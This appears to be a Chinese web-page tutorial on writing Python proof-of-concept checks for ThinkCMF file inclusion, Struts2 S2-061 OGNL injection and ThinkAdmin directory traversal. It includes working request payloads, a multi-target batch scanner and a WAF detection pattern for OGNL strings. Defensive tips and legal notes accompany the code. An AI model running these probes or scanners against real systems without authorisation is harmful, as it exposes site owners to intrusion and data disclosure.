ThinkCMF/Struts2/ThinkAdmin 漏洞POC对比:GET与POST请求的3种Python实现模式
2026/7/9 9:02:18 网站建设 项目流程

HTTP请求方法在漏洞验证中的实战应用:GET与POST型POC的Python实现差异

1. HTTP请求方法基础与安全测试的关系

在Web安全测试中,理解HTTP请求方法的差异是构建有效POC(概念验证)的基础。GET和POST作为最常用的两种HTTP方法,在漏洞验证过程中展现出截然不同的特性和应用场景。

GET请求的特点:

  • 参数直接附加在URL后,格式为?key1=value1&key2=value2
  • 有长度限制(通常约2048字符)
  • 可被浏览器缓存、记录在历史记录中
  • 适合获取数据,不应用于敏感操作

POST请求的特点:

  • 参数包含在请求体中,URL不可见
  • 无严格长度限制
  • 不会被浏览器缓存
  • 适合提交敏感数据和执行操作

关键差异对比表

特性GET请求POST请求
参数位置URL请求体
可见性
长度限制
缓存行为可缓存不缓存
幂等性幂等非幂等
典型漏洞场景URL注入、头部注入表单注入、文件上传
# GET请求基础示例 import requests response = requests.get('http://example.com/api', params={'key': 'value'}) # POST请求基础示例 response = requests.post('http://example.com/api', data={'key': 'value'})

2. GET型漏洞POC开发实战

2.1 ThinkCMF文件包含漏洞分析

ThinkCMF的历史版本中存在文件包含漏洞,攻击者可通过构造特殊GET请求读取服务器上的任意文件。典型漏洞触发点:

/?a=display&templateFile=README.md

POC开发关键点

  1. 识别响应特征(如"ThinkCMF是一款")
  2. 处理异常情况(网络超时、服务不可用)
  3. 优化用户体验(参数化输入、结果美化)
## 3. GET型漏洞POC完整实现 import requests import argparse import sys def check_thinkcmf(url, port=80, timeout=5): payload = "/?a=display&templateFile=README.md" target_url = f"http://{url}:{port}{payload}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Accept": "text/html,application/xhtml+xml" } try: response = requests.get( target_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False ) if "ThinkCMF是一款" in response.text: return True, "存在ThinkCMF文件包含漏洞" return False, "未检测到漏洞特征" except requests.exceptions.RequestException as e: return False, f"请求异常: {str(e)}" if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("-u", "--url", required=True, help="目标URL或IP") parser.add_argument("-p", "--port", type=int, default=80, help="端口号") args = parser.parse_args() result, message = check_thinkcmf(args.url, args.port) print(f"[{args.url}] {message}")

2.2 Struts2 S2-061漏洞解析

Struts2框架的S2-061漏洞(CVE-2020-17530)是典型的OGNL表达式注入漏洞,通过精心构造的GET请求触发。

技术要点

  • 漏洞原理:参数值未正确过滤OGNL表达式
  • 识别特征:表达式执行结果(如"test2041")
  • 防御绕过:特殊字符编码处理
def check_struts2_s2061(url, port=8080, timeout=5): payload = "/?id=%25%7b+%27test%27+%2b+(2021+%2b+20).toString()%7d" target_url = f"http://{url}:{port}{payload}" try: response = requests.get( target_url, headers={"User-Agent": "Security Scanner"}, timeout=timeout ) if "test2041" in response.text: return True, "存在Struts2 S2-061漏洞" return False, "未检测到漏洞特征" except Exception as e: return False, f"检测失败: {str(e)}"

3. POST型漏洞POC开发精要

3.1 ThinkAdmin目录遍历漏洞

ThinkAdmin的目录遍历漏洞需要通过POST请求触发,主要特点包括:

  • 请求路径:/admin.html?s=admin/api.Update/node
  • 参数位置:请求体(form-data)
  • 关键参数:rules=["./"]

开发注意事项

  1. Content-Type必须设置为application/x-www-form-urlencoded
  2. 需要处理URL编码问题
  3. 响应可能包含JSON格式数据
## 4. POST型漏洞POC完整实现 def check_thinkadmin(url, port=80, timeout=5): target_url = f"http://{url}:{port}/admin.html?s=admin/api.Update/node" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } data = {"rules": '["./"]'} try: response = requests.post( target_url, headers=headers, data=data, timeout=timeout, verify=False ) if response.status_code == 200 and "code" in response.text: return True, "存在ThinkAdmin目录遍历漏洞" return False, "未检测到漏洞特征" except Exception as e: return False, f"检测失败: {str(e)}"

3.2 POST请求的特殊处理

相比GET请求,POST型POC需要额外关注:

  1. 请求头设置

    headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" }
  2. 数据编码处理

    from urllib.parse import urlencode data = urlencode({"param": "value"})
  3. 文件上传处理

    files = {'file': ('test.txt', 'content')} response = requests.post(url, files=files)

4. 高级技巧与实战优化

4.1 动态请求方法切换

在实际测试中,可能需要根据场景动态切换请求方法:

def send_request(url, method='GET', params=None, data=None): if method.upper() == 'GET': return requests.get(url, params=params) else: return requests.post(url, data=data)

4.2 结果验证自动化

建立完善的验证机制提高准确性:

def validate_response(response, signatures): """ :param response: requests.Response对象 :param signatures: 漏洞特征字典 :return: 验证结果 """ checks = [ lambda: any(sig in response.text for sig in signatures.get('text', [])), lambda: response.status_code in signatures.get('status_codes', []) ] return all(check() for check in checks)

4.3 性能优化策略

  1. 连接池复用

    session = requests.Session() adapter = requests.adapters.HTTPAdapter(pool_connections=10, pool_maxsize=10) session.mount('http://', adapter)
  2. 异步请求处理

    import asyncio import aiohttp async def check_url(session, url): async with session.get(url) as response: return await response.text()

5. 安全研究与防御建议

5.1 漏洞预防措施

  1. 输入验证

    # 示例:安全参数处理 from django.utils.http import urlencode safe_params = urlencode({'key': 'value'})
  2. 输出编码

    import html safe_output = html.escape(user_input)

5.2 企业级防护方案

  1. WAF规则示例(伪代码):

    if request.uri contains "?.+=" or request.body contains "ognl" or request.body contains "#context": block request
  2. 安全头设置:

    # Flask示例 @app.after_request def add_headers(response): response.headers['X-Content-Type-Options'] = 'nosniff' return response

6. 工具化实现与扩展

6.1 命令行工具开发

class VulnerabilityScanner: def __init__(self): self.checks = { 'thinkcmf': check_thinkcmf, 'struts2-s2061': check_struts2_s2061, 'thinkadmin': check_thinkadmin } def run(self, target, vuln_type): if vuln_type not in self.checks: raise ValueError(f"不支持的漏洞类型: {vuln_type}") return self.checks[vuln_type](target)

6.2 批量扫描实现

import concurrent.futures def batch_scan(urls, check_func, threads=5): results = [] with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: futures = {executor.submit(check_func, url): url for url in urls} for future in concurrent.futures.as_completed(futures): url = futures[future] try: results.append((url, future.result())) except Exception as e: results.append((url, str(e))) return results

7. 法律合规与道德规范

在安全研究过程中必须注意:

  1. 仅对授权目标进行测试
  2. 不使用POC进行实际攻击
  3. 及时报告发现的安全问题
  4. 遵守当地法律法规
# 示例:授权验证 def check_authorization(target): if not target.startswith(('http://test.', 'https://test.')): raise PermissionError("未经授权的测试目标") return True

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询